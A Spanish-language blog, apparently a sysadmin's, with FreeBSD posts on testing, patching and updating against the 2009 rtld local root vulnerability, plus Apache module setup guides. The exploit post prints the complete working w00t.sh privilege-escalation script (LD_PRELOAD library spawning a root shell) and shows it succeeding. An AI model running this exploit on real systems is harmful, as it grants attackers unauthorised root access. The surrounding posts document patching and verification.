Actualizando FreeBSD 8.0 para solucionar la vulnerabilidad del rtld (noviembre 30 de 2009)

Introducción.

Después de reparar manualmente la vulnerabilidad del rtld, se me ocurrió investigar un poco acerca de como actualizar FreeBSD (ojalá a través de sus canales estándar) de manera que se solucione el problema y de paso mantener al día el sistema operativo de otras vulnerabilidades que uno no necesariamente se de por enterado, es decir, algo similar al apt-get/aptitude safe-upgrade de Debian/Ubuntu y similares.

Actualización de seguridad.

Este método descarga e instala los últimos parches de seguridad existentes para la distribución.

# freebsd-update fetch

# freebsd-update install

En términos de la vulnerabilidad que nos ocupa el resultado es el mismo del procedimiento anterior: el exploit ya no es funcional porque la vulnerabilidad ha sido reparada, además de algunas otras adicionales.

Enlaces.

Parchando FreeBSD 8.0 contra la vulnerabilidad del rtld (noviembre 30 de 2009)

Introducción.

Hace un par de días instalé un FreeBSD 8.0 para probar el exploit de día cero que se aprovechaba de una vulnerabilidad del rtld con el cual un usuario local obtiene fácilmente los privilegios de administrador o root.

Un ataque o amenaza de día cero o zero day significa que se aprovecha de una vulnerabilidad del sistema que ha sido descubierta en lo salvaje pero que aún no ha sido conocida por el desarrollador o aún no se ha publicado una solución para la misma, haciendo a este tipo de exploits muy graves para los usuarios.

Hoy volví a revisar el tema buscando que soluciones se le habían dado y encontré que se ha liberado un parche para solucionar este problema.  A continuación describo los pasos que seguí para la instalación del parche.

Instalación del parche.

Requerimientos.

Es necesario contar con las fuentes de los paquetes libexec y lib.  Estas se pueden instalar fácilmente desde el CDROM de la instalación base utilizando la aplicación sysinstall.  Para mayor información consultar este artículo.

Procedimiento.

# mkdir /root/parche && cd /root/parche

# fetch http://security.FreeBSD.org/patches/SA-09:16/rtld.patch

# fetch http://security.FreeBSD.org/patches/SA-09:16/rtld.patch.asc

# cd /usr/src

# patch < /root/parche

# cd /usr/src/libexec/rtld-elf

# make obj && make depend && make && make install

# reboot

Prueba.

Después de reiniciar el servidor, ingresé nuevamente como un usuario sin privilegios e intenté ejecutar el exploit de la misma manera como se hizo anteriormente.  La ejecución falló y obtuve un resultado completamente distinto después de la instalación del parche.

screenshot_004

Enlaces.

Probando la vulnerabilidad de FreeBSD 8.0 (noviembre 30 de 2009)

Introducción.

El día de ayer me enteré que habían descubierto una vulnerabilidad en FreeBSD, mas específicamente en editor de enlace en tiempo real (rtld) que le permite a cualquier usuario local convertirse en root.

Este fallo afecta a las versiones 7.1 y 8 (Amnesiac) de FreeBSD.

La presente es una prueba, rápida y sencilla del exploit para ver como funcionaba.

Instalación.

Descargué la imagen ISO del disco #1 de FreeBSD versión 8 del siguiente enlace.

ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/ISO-IMAGES/8.0/

En el momento de instalarlo es necesario incluír el soporte para el desarrollo de aplicaciones en C ya que es necesario compilar y enlazar un pequeño programa con gcc.

Ejecución.

Ingrese como un usuario sin privilegios en el sistema, en mi caso, el usuario jimezam el cual ni siquiera puede intentar convertirse en root mediante la invocación a su.

screenshot_001

Cree u obtenga el archivo w00t.sh con el código fuente del exploit, dispuesto a continuación.

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>

main() {
 extern char **environ;
 environ = (char**)malloc(8096);

 environ[0] = (char*)malloc(1024);
 environ[1] = (char*)malloc(1024);
 strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

 execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
 extern char **environ;
 environ=NULL;
 system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

Modifique su permiso de ejecución.

$ chmod +x w00t.sh

Invoque el script.

screenshot_002

Note como el usuario propietario de la sesión ha obtenido privilegios de administrador.

screenshot_003

El bug ha sido entonces exitosamente explotado.

Enlaces.

Instalación de Python 2.5.x y mod_python 3.x en FreeBSD 7.x

Instalación del intérprete de Python.

# cd /usr/ports/lang/python

# make install clean
    THREADS
    UCS4
    PYMALLOC
    IPV6
# python -V
    Python 2.5.2

Instalación de mod_python.

# cd /usr/ports/lang/mod_python3
# make install clean

Configuración de Apache con mod_python.

# vi /usr/local/etc/apache22/httpd.conf
    LoadModule python_module libexec/apache22/mod_python.so
    PythonOption mod_python.mutex_directory "/tmp"
    PythonOption mod_python.mutex_locks 8
    <Directory "/home/web">
        AddHandler mod_python .py
        PythonHandler pythontest
        PythonDebug On
    </Directory>

Recuérdese que el DOCUMENT_ROOT del servidor es “/home/web“.

A continuación se creará el siguiente archivo ubicado en /home/web/pythontest.py para verificar el funcionamiento del módulo.

# vi /home/web/pythontest.py
from mod_python import apache

import datetime

def handler(req):
    today = datetime.date.today()
    req.content_type = "text/plain"
    req.write("Hello, today is " + str(today.day) + "/" + str(today.month) + "/" + str(today.year) + ".")
    return apache.OK

Si se consulta el sitio http://webserver.mydomain.com/pythontest.py deberá obtenerse una respuesta similar a la mostrada a continuación.

    Hello, today is 27/5/2008.

Si se intenta ejecutar cualquier otro programa .py ubicado en el mismo directorio (/home/web) se obtendrá siempre la misma respuesta ya que en la configuración de Apache se especificó que ese archivo (pythontest.py) sería quien manipulase los archivos Python en ese directorio. Para permitir el acceso de otros programas desde la misma ubicación se deberán utilizar manipuladores (handlers) especiales como mod_python.Publisher, mpservlets o Vampire.

Enalces.

Instalación de mod_security 2.1.7_1 en FreeBSD 7.x

# cd /usr/ports/www/mod_security2
# make install clean
# vi /usr/local/etc/apache22/httpd.conf
LoadFile /usr/local/lib/libxml2.so
LoadModule mod_security2    libexec/apache22/mod_security2.so

<IfModule security2_module>
    SecRuleEngine On
</IfModule>
# /usr/local/etc/rc.d/apache22 restart

Nota: la instalación con la versión 2.1.3 no se pudo realizar ya que el Makefile no realizaba correctamente el enlace con libxml2 y fallaban las reglas que requerían procesamiento de XML. Se recomienda actualizar a una versión superior.

El siguiente paso consiste en configurar las reglas de seguridad que apliquen a su negocio. Para esto edite apropiadamente los siguientes archivos bajo la ruta /usr/local/etc/apache22/Includes.

  • mod_security2.conf
  • no-accf.conf
  • mod_security2/ (directorio de reglas)

Enlaces

Configurando Apache 2.2.x/PHP 5.2.x con FastCGI mod_fcgid en FreeBSD 7.x

Descargar compilar e instalar el paquete mod_fcgid y sus posibles dependencias.

# cd /usr/ports/www/mod_fcgid
# make install clean

Verificar que la instalación de PHP cuente con el soporte de FastCGI.

# /usr/local/bin/php-cgi -v

Configurar a Apache para que utilice el nuevo módulo de FCGI.

# vi /usr/local/etc/apache22/httpd.conf

Agregar al final del archivo httpd.conf.

LoadModule fcgid_module libexec/apache22/mod_fcgid.so

<IfModule mod_fcgid.c>
    AddHandler fcgid-script .fcgi
    FCGIWrapper /usr/local/bin/php-cgi .php
</IfModule>

Ubicar la sección del directorio del DOCUMENT_ROOT y complementarla con la nueva opción.

<Directory "/home/web">
    # ...
    Options ExecCGI
</Directory>

Reiniciar el servicio de Apache para que se tengan en cuenta los cambios realizados.

# /usr/local/etc/rc.d/apache22 restart

Consultar la salida de phpinfo() para verificar su correcto funcionamiento.